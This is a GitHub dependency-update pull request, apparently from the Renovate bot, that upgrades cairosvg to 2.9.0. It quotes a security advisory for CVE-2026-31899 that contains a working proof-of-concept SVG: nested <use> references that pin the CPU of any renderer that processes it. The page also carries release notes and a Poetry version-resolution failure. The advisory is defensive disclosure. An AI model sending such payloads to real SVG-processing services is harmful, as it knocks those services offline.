Skip to content

⬆️ Update dependency cairosvg to v2.9.0 [SECURITY]#213

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/pypi-cairosvg-vulnerability
Open

⬆️ Update dependency cairosvg to v2.9.0 [SECURITY]#213
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/pypi-cairosvg-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Mar 13, 2026

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
cairosvg (source) 2.7.12.9.0 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2026-31899

Summary

Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.

Vulnerable Code

File: cairosvg/defs.py (line ~335), function use()

The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

Impact

  • 1,411-byte SVG payload pins CPU at 100% indefinitely
  • Memory stays flat at ~43MB — no OOM kill, process never terminates
  • Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
  • Amplification factor: O(10^N) rendering calls from O(N) input

Proof of Concept

Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Expected: timeout kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:

import cairosvg, signal
signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Suggested Fix

Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.

References

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research


Release Notes

Kozea/CairoSVG (cairosvg)

v2.9.0

Compare Source

v2.8.2

Compare Source

  • Allow both Unicode strings and bytes as input

v2.8.1

Compare Source

  • Allow both text- and bytes-based file objects as input

v2.8.0

Compare Source

  • Drop support of Python 3.7 and 3.8, add support of Python 3.12 and 3.13
  • Optimize math operations
  • Use pathlib
  • Close paths for ellipses and circles
  • Fix output ratio for SVG surfaces
  • Avoid endless loops when updating def attributes
  • Round PNG size
  • Don’t crash when more than 2 values are given to translate and scale functions

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Amsterdam, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Mar 13, 2026
@renovate
Copy link
Contributor Author

renovate bot commented Mar 13, 2026

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: poetry.lock
Updating dependencies
Resolving dependencies...

Creating virtualenv pure-protobuf-9DAEHxhI-py3.14 in /home/ubuntu/.cache/pypoetry/virtualenvs

The current project's supported Python range (>=3.9.0,<4.0.0) is not compatible with some of the required packages Python requirement:
  - cairosvg requires Python >=3.10, so it will not be installable for Python >=3.9.0,<3.10

Because pure-protobuf depends on cairosvg (2.9.0) which requires Python >=3.10, version solving failed.

  * Check your dependencies Python requirement: The Python requirement can be specified via the `python` or `markers` properties

    For cairosvg, a possible solution would be to set the `python` property to ">=3.10,<4.0.0"

    https://python-poetry.org/docs/dependency-specification/#python-restricted-dependencies,
    https://python-poetry.org/docs/dependency-specification/#using-environment-markers


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants